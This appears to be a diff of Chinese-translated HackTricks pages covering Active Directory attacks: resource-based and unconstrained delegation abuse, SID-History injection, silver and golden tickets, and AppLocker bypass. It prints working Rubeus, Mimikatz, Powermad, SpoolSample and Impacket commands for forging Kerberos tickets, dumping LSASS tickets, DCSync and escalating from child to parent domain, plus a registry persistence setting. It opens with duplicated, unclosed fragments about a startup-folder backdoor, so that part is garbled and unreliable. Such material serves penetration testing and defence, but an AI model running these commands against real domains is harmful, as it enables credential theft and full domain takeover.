在这种情况下,你可以通过在 **启动文件夹** 中写入一个 **后门****妥协** **受害者的原始计算机**。
```powershell
在这种情况下,你可以通过在 **启动文件夹** 中写入一个 **后门****妥协** **受害者** **原始计算机**。
```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:

View File

@ -1,46 +1,47 @@
# 基于资源的受限委派
# Resource-based Constrained Delegation
{{#include ../../banners/hacktricks-training.md}}
## 基于资源的受限委派基础
这与基本的 [Constrained Delegation](constrained-delegation.md) 类似,但**不是**给一个**对象**权限以**代表任何用户对服务进行 impersonate**。基于资源的受限委派**设置**在**对象中谁能够对其 impersonate 任何用户**。
## Basics of Resource-based Constrained Delegation
在这种情况下,受限对象将具有一个名为 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ 的属性,包含可以对其 impersonate 任何其他用户的用户的名称
这与基本的 [Constrained Delegation](constrained-delegation.md) 类似,但**不是**给一个**对象**权限以**冒充任何用户对抗一台机器**。资源基础的约束委托**设置**在**能够冒充任何用户的对象上**
与其他委派的另一个重要区别是,任何具有**计算机账户的写权限**_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_的用户都可以设置 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_(在其他形式的委派中,您需要域管理员权限)
在这种情况下,受限对象将具有一个名为 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ 的属性,包含可以冒充任何其他用户的用户的名称
### 新概念
与其他委托的另一个重要区别是,任何具有**计算机帐户的写权限**_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_的用户都可以设置 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**(在其他形式的委托中,您需要域管理员权限)。
在受限委派中提到,用户的 _userAccountControl_ 值中的 **`TrustedToAuthForDelegation`** 标志是执行 **S4U2Self** 所需的。但这并不完全正确。\
### New Concepts
在约束委托中提到,用户的 _userAccountControl_ 值中的 **`TrustedToAuthForDelegation`** 标志是执行 **S4U2Self** 所需的。但这并不完全正确。\
实际上,即使没有该值,如果您是一个**服务**(具有 SPN您也可以对任何用户执行 **S4U2Self**,但是,如果您**具有 `TrustedToAuthForDelegation`**,返回的 TGS 将是**可转发的**,而如果您**没有**该标志,返回的 TGS **将不会**是**可转发的**
然而,如果在 **S4U2Proxy** 中使用的 **TGS** **不是可转发的**,尝试利用**基本的受限委派**将**不起作用**。但如果您尝试利用**基于资源的受限委派,它将有效**(这不是一个漏洞,显然是一个特性)
然而,如果在 **S4U2Proxy** 中使用的 **TGS** **不是可转发的**,尝试滥用**基本约束委托**将**不起作用**。但如果您尝试利用**基于资源的约束委托,它将有效**
### 攻击结构
### Attack structure
> 如果您对**计算机**账户具有**写等效权限**,您可以在该机器上获得**特权访问**。
> 如果您对**计算机**帐户具有**写入等效权限**,则可以在该机器上获得**特权访问**。
假设攻击者已经对受害计算机具有**写等效权限**。
假设攻击者已经对受害计算机具有**写等效权限**。
1. 攻击者**破坏**一个具有**SPN**的户或**创建一个**(“服务 A”。请注意**任何**_管理员用户_在没有其他特殊权限的情况下可以**创建**最多 10 个**计算机对象(**_**MachineAccountQuota**_**)并为其设置一个**SPN**。因此,攻击者可以创建一个计算机对象并设置一个 SPN。
2. 攻击者**利用其对受害计算机的写权限**ServiceB配置**基于资源的受限委派,以允许 ServiceA 对该受害计算机ServiceB进行 impersonate 任何用户**
3. 攻击者使用 Rubeus 执行**完整的 S4U 攻击**S4U2Self 和 S4U2Proxy从服务 A 到服务 B,针对**具有对服务 B 的特权访问的用户**
1. S4U2Self来自被破坏/创建的 SPN 户):请求**管理员的 TGS 给我**(不可转发)。
1. 攻击者**破坏**一个具有**SPN**的户或**创建一个**(“服务 A”。请注意**任何**_管理员用户_在没有其他特殊权限的情况下可以**创建**最多 10 个计算机对象(**_MachineAccountQuota_**)并为其设置一个**SPN**。因此,攻击者可以创建一个计算机对象并设置一个 SPN。
2. 攻击者**滥用**其对受害计算机ServiceB的写权限以配置**基于资源的约束委托,允许 ServiceA 冒充任何用户**对抗该受害计算机ServiceB
3. 攻击者使用 Rubeus 执行**完整的 S4U 攻击**S4U2Self 和 S4U2Proxy从服务 A 到服务 B 针对具有**对服务 B 的特权访问**的用户
1. S4U2Self来自被破坏/创建的 SPN 户):请求**管理员的 TGS 给我**(不可转发)。
2. S4U2Proxy使用前一步的**不可转发 TGS**请求**管理员**到**受害主机**的**TGS**。
3. 即使您使用的是不可转发的 TGS由于您正在利用基于资源的受限委派,它将有效。
4. 攻击者可以**传票**并**冒充**用户以获得对**受害 ServiceB**的**访问**。
3. 即使您使用的是不可转发的 TGS由于您正在利用基于资源的约束委托,它将有效。
4. 攻击者可以**传**并**冒充**用户以获得对**受害 ServiceB**的**访问**。
要检查域的 _**MachineAccountQuota**_,您可以使用:
```powershell
```bash
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## 攻击
### 创建计算机对象
您可以使用 [powermad](https://github.com/Kevin-Robertson/Powermad) 在域内创建计算机对象**:**
```powershell
您可以使用 **[powermad](https://github.com/Kevin-Robertson/Powermad)** 在域内创建计算机对象:
```bash
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -50,12 +51,12 @@ Get-DomainComputer SERVICEA
### 配置基于资源的受限委派
**使用 activedirectory PowerShell 模块**
```powershell
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**使用 powerview**
```powershell
```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
@ -80,7 +81,7 @@ msds-allowedtoactonbehalfofotheridentity
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
只需使用 Rubeus 的 `/altservice` 参数询问一次即可生成更多票证:
可以通过使用 Rubeus 的 `/altservice` 参数一次性生成更多服务的票证:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
@ -89,8 +90,8 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:admin
### 访问
最后一条命令将执行 **完整的 S4U 攻击,并将 TGS** Administrator 注入到受害主机的 **内存** 中。\
在此示例中,请求了 Administrator **CIFS** 服务的 TGS因此您将能够访问 **C$**
最后一条命令将执行 **完整的 S4U 攻击,并将 TGS**管理员注入到受害主机的 **内存** 中。\
在此示例中,请求了来自管理员**CIFS** 服务的 TGS因此您将能够访问 **C$**
```bash
ls \\victim.domain.local\C$
```
@ -100,9 +101,9 @@ ls \\victim.domain.local\C$
## Kerberos 错误
- **`KDC_ERR_ETYPE_NOTSUPP`**:这意味着 kerberos 配置为不使用 DES 或 RC4而您仅提供了 RC4 哈希。至少向 Rubeus 提供 AES256 哈希(或同时提供 rc4、aes128 和 aes256 哈希)。示例:`[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KDC_ERR_ETYPE_NOTSUPP`**:这意味着 kerberos 配置为不使用 DES 或 RC4而您仅提供了 RC4 哈希。至少向 Rubeus 提供 AES256 哈希(或同时提供 rc4、aes128 和 aes256 哈希)。示例:`[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**:这意味着当前计算机的时间与 DC 的时间不同kerberos 无法正常工作。
- **`preauth_failed`**:这意味着给定的用户名 + 哈希无法登录。您可能忘记在生成哈希时在用户名中放入“$”(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`
- **`preauth_failed`**:这意味着给定的用户名 + 哈希无法登录。您可能忘记在生成哈希时在用户名中放入“$”(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`
- **`KDC_ERR_BADOPTION`**:这可能意味着:
- 您尝试模拟的用户无法访问所需的服务(因为您无法模拟它或因为它没有足够的权限)
- 请求的服务不存在(如果您请求 winrm 的票证但 winrm 没有运行)
@ -114,5 +115,6 @@ ls \\victim.domain.local\C$
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,22 +1,50 @@
# SID-History 注入
# SID-History Injection
{{#include ../../banners/hacktricks-training.md}}
## SID 历史注入攻击
## SID History Injection Attack
**SID 历史注入攻击**的重点是帮助**用户在域之间迁移**同时确保继续访问前一个域的资源。这是通过**将用户之前的安全标识符 (SID) 纳入其新账户的 SID 历史**来实现的。值得注意的是,这一过程可以被操控,通过将来自父域的高权限组(如企业管理员或域管理员)的 SID 添加到 SID 历史中,从而授予未经授权的访问权限。这种利用方式使得可以访问父域内的所有资源
**SID History Injection Attack** 的重点是帮助 **用户在域之间迁移**同时确保继续访问前一个域的资源。这是通过 **将用户之前的安全标识符 (SID) 纳入其新账户的 SID 历史** 来实现的。值得注意的是,这一过程可以被操控,通过将来自父域的高权限组(如企业管理员或域管理员)的 SID 添加到 SID 历史中,从而授予未经授权的访问权限。这种利用方式赋予了对父域内所有资源的访问权限
执行此攻击有两种方法:通过创建**金票**或**钻石票**
执行此攻击有两种方法:通过创建 **Golden Ticket****Diamond Ticket**
要确定**“企业管理员”**组的 SID首先必须找到根域的 SID。在识别后可以通过将 `-519` 附加到根域的 SID 来构建企业管理员组的 SID。例如如果根域 SID `S-1-5-21-280534878-1496970234-700767426`,则“企业管理员”组的 SID 将为 `S-1-5-21-280534878-1496970234-700767426-519`
要确定 **"Enterprise Admins"** 组的 SID首先必须找到根域的 SID。在识别后可以通过将 `-519` 附加到根域的 SID 来构建企业管理员组的 SID。例如如果根域 SID `S-1-5-21-280534878-1496970234-700767426`,那么 "Enterprise Admins" 组的结果 SID 将是 `S-1-5-21-280534878-1496970234-700767426-519`
您还可以使用**域管理员**组,其 SID 以**512**结尾。
您还可以使用 **Domain Admins** 组,其 SID 以 **512** 结尾。
找到其他域(例如“域管理员”)组的 SID 的另一种方法是:
```powershell
找到其他域(例如 "Domain Admins")的组 SID 的另一种方法是:
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### Golden Ticket (Mimikatz) 与 KRBTGT-AES256
> [!WARNING]
> 请注意,在信任关系中禁用 SID 历史记录可能会导致此攻击失败。
根据[**文档**](https://technet.microsoft.com/library/cc835085.aspx)
- **在森林信任上禁用 SIDHistory** 使用 netdom 工具(`netdom trust /domain: /EnableSIDHistory:no on the domain controller`
- **对外部信任应用 SID 过滤隔离** 使用 netdom 工具(`netdom trust /domain: /quarantine:yes on the domain controller`
- **对单个森林内的域信任应用 SID 过滤** 不推荐,因为这是一种不受支持的配置,可能会导致破坏性更改。如果森林中的某个域不可信,则不应成为该森林的成员。在这种情况下,必须首先将受信任和不受信任的域分割到不同的森林中,以便可以对森林间信任应用 SID 过滤。
有关绕过此限制的更多信息,请查看此帖子:[**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
### Diamond Ticket (Rubeus + KRBTGT-AES256)
上次我尝试这个时,我需要添加参数 **`/ldap`**。
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
```
### Golden Ticket (Mimikatz) with KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@ -39,16 +67,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
golden-ticket.md
{{#endref}}
### Diamond Ticket (Rubeus + KRBTGT-AES256)
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
有关 diamond tickets 的更多信息,请查看:
{{#ref}}
@ -59,7 +78,7 @@ diamond-ticket.md
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
使用被攻陷域的 KRBTGT 哈希提升到根或企业管理员的 DA
使用被攻陷域的 KRBTGT 哈希提升到根或企业管理员权限
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
@ -101,7 +120,7 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```
#### 自动使用 [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
这是一个 Impacket 脚本,它将 **自动从子域提升到父域**。该脚本需要:
这是一个 Impacket 脚本,**自动从子域提升到父域**。该脚本需要:
- 目标域控制器
- 子域中管理员用户的凭据
@ -113,7 +132,7 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
- 创建一个黄金票证
- 登录到父域
- 检索父域中管理员账户的凭据
- 如果指定了 `target-exec` 开关,它将通过 Psexec 认证到父域的域控制器。
- 如果指定了 `target-exec` 开关,通过 Psexec 认证到父域的域控制器。
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```

View File

@ -2,11 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Silver ticket
**银票**攻击涉及在Active Directory (AD)环境中利用服务票证。此方法依赖于**获取服务帐户的NTLM哈希**,例如计算机帐户,以伪造票证授予服务(TGS)票证。通过这个伪造的票证,攻击者可以访问网络上的特定服务,**冒充任何用户**通常目标是获取管理权限。强调使用AES密钥伪造票证更安全且不易被检测。
**Silver Ticket** 攻击涉及在 Active Directory (AD) 环境中利用服务票证。此方法依赖于 **获取服务账户的 NTLM 哈希**,例如计算机账户,以伪造票证授予服务 (TGS) 票证。通过这个伪造的票证,攻击者可以访问网络上的特定服务,**冒充任何用户**,通常目标是获取管理权限。强调使用 AES 密钥伪造票证更安全且不易被检测。
> [!WARNING]
> Silver Tickets 的可检测性低于 Golden Tickets因为它们只需要 **服务账户的哈希**,而不需要 krbtgt 账户。然而,它们仅限于其目标的特定服务。此外,仅仅窃取用户的密码。
此外,如果您通过 SPN 破坏了 **账户的密码**,您可以使用该密码创建一个 Silver Ticket冒充任何用户访问该服务。
对于票证制作,根据操作系统使用不同的工具:
@ -18,6 +20,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### 在Windows上
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
@ -28,38 +35,42 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS服务被强调为访问受害者文件系统的常见目标但其他服务如HOST和RPCSS也可以被利用行任务和WMI查询。
CIFS服务被强调为访问受害者文件系统的常见目标但其他服务如HOST和RPCSS也可以被利用来执行任务和WMI查询。
## 可用服务
| 服务类型 | 服务银票 |
| ------------------------------------------ | ------------------------------------------------------------ |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell远程 | <p>HOST</p><p>HTTP</p><p>根据操作系统还包括:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下,您可以直接请求:WINRM</p> |
| 计划任务 | HOST |
| Windows文件共享也包括psexec | CIFS |
| LDAP操作包括DCSync | LDAP |
| Windows远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| 黄金票据 | krbtgt |
| 服务类型 | 服务银票 |
| ------------------------------------------ | --------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell远程 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可以:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下你可以直接请求: WINRM</p> |
| 计划任务 | HOST |
| Windows文件共享也包括psexec | CIFS |
| LDAP操作包括DCSync | LDAP |
| Windows远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| 黄金票 | krbtgt |
使用**Rubeus**,您可以使用参数**请求所有**这些票据
使用**Rubeus**你可以使用参数**请求所有**这些票证
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### 银票事件ID
- 4624账户登录
- 4634账户注销
- 4672管理员登录
- 4624: 账户登录
- 4634: 账户注销
- 4672: 管理员登录
## 滥用服务票据
## 持久性
在以下示例中,假设票据是通过模拟管理员账户获取的。
为了避免机器每30天更改一次密码可以设置 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`,或者可以将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于30天的值以指示机器密码应更改的轮换周期。
## 滥用服务票证
在以下示例中,假设票证是通过模拟管理员账户获取的。
### CIFS
使用此票据,您将能够通过**SMB**访问`C$``ADMIN$`文件夹(如果它们被暴露)并将文件复制到远程文件系统的某个部分,只需执行类似以下操作:
使用此票,您将能够通过**SMB**访问`C$``ADMIN$`文件夹(如果它们被暴露),并通过执行类似以下操作将文件复制到远程文件系统的一部分
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
@ -73,7 +84,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### HOST
凭借此权限,您可以在远程计算机上生成计划任务并执行任意命令:
通过此权限,您可以在远程计算机上生成计划任务并执行任意命令:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -109,14 +120,14 @@ wmic remote.computer.local list full /format:list
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
以下页面以了解 **使用 winrm 连接远程主机的更多方法**
查以下页面以了解 **使用 winrm 连接远程主机的更多方法**
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> 请注意,**winrm 必须在远程计算机上处于活动状态并监听**才能访问它
> 请注意,**winrm 必须在远程计算机上处于活动和监听状态**才能访问
### LDAP
@ -126,15 +137,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
```
**了解更多关于 DCSync** 在以下页面:
## 参考
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
{{#ref}}
dcsync.md
{{#endref}}
## 参考文献
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,42 +4,49 @@
## Unconstrained delegation
这是一个域管理员可以设置在域内任何**计算机**上的功能。然后,每当**用户登录**到该计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中**并**保存在LSASS的内存中**。因此,如果您在该机器上拥有管理员权限,您将能够**转储票证并冒充用户**在任何机器上。
这是一个域管理员可以设置给域内任何**计算机**的功能。然后,每当**用户登录**到该计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中**并保存在LSASS的内存中。因此如果您在该机器上拥有管理员权限您将能够**转储票证并冒充用户**在任何机器上。
因此,如果域管理员登录到启用了“无约束委派”功能的计算机,并且您在该机器上拥有本地管理员权限,您将能够转储票证并在任何地方冒充域管理员(域权限提升)。
您可以通过检查[userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>)属性是否包含[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)来**查找具有此属性的计算机对象**。您可以使用LDAP过滤器(userAccountControl:1.2.840.113556.1.4.803:=524288)’来做到这一点,这是powerview所做的
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
您可以通过检查[userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>)属性是否包含[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)来**查找具有此属性的计算机对象**。您可以使用LDAP过滤器(userAccountControl:1.2.840.113556.1.4.803:=524288)’来做到这一点,这是powerview所做的
```bash
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Export tickets with Mimikatz
</strong>privilege::debug
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer Unconstrained Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
使用**Mimikatz**或**Rubeus**在内存中加载管理员(或受害者用户)的票证以进行**[**Pass the Ticket**](pass-the-ticket.md)**。\
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
```
加载管理员(或受害者用户)的票证到内存中,使用**Mimikatz**或**Rubeus**进行[**票证传递**](pass-the-ticket.md)。\
更多信息:[https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**有关无约束委派的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**关于不受约束委派的更多信息在ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Force Authentication**
### **强制认证**
如果攻击者能够**攻陷允许“无约束委派”的计算机**,他可以**欺骗**一个**打印服务器**,使其**自动登录**并**在服务器的内存中保存TGT**。\
然后,攻击者可以执行**Pass the Ticket攻击以冒充**用户打印服务器计算机帐户。
如果攻击者能够**攻陷一个被允许进行“无约束委派”的计算机**,他可以**欺骗**一个**打印服务器**,使其**自动登录**并**在服务器的内存中保存TGT**。\
然后,攻击者可以执行**票证传递攻击以冒充**用户打印服务器计算机帐户。
要使打印服务器登录到任何机器,可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample):
要使打印服务器登录到任何机器,可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample)
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
如果 TGT 来自域控制器,您可以执行一个[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) 并从 DC 获取所有哈希。\
如果 TGT 来自域控制器,您可以执行 [**DCSync 攻击**](acl-persistence-abuse/index.html#dcsync) 并从 DC 获取所有哈希。\
[**有关此攻击的更多信息,请访问 ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**以下是尝试强制身份验证的其他方法:**
在这里找到其他 **强制身份验证** 的方法:
{{#ref}}
printers-spooler-service-abuse.md

View File

@ -12,7 +12,7 @@
### Check
检查哪些文件/扩展名被列入黑名单/白名单:
```powershell
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -35,8 +35,8 @@ C:\windows\tracing
```
- 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
- **编写不当的规则也可能被绕过**
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,您可以在任何地方创建一个 **名为 `allowed` 的文件夹**,它将被允许。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations),如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,您可以在任何地方创建一个 **名为 `allowed`** 的文件夹,它将被允许。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`
- **DLL 强制执行很少启用**,因为它可能对系统造成额外负担,以及确保没有任何东西会崩溃所需的测试量。因此,使用 **DLL 作为后门将有助于绕过 AppLocker**
- 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
@ -56,7 +56,7 @@ LSA 将是 **检查** 提供的凭据的 **SAM** 文件(用于本地登录)
### LSA 秘密
LSA 可在磁盘上保存一些凭据:
LSA 可能会在磁盘上保存一些凭据:
- Active Directory 的计算机帐户密码(无法访问的域控制器)。
- Windows 服务帐户的密码
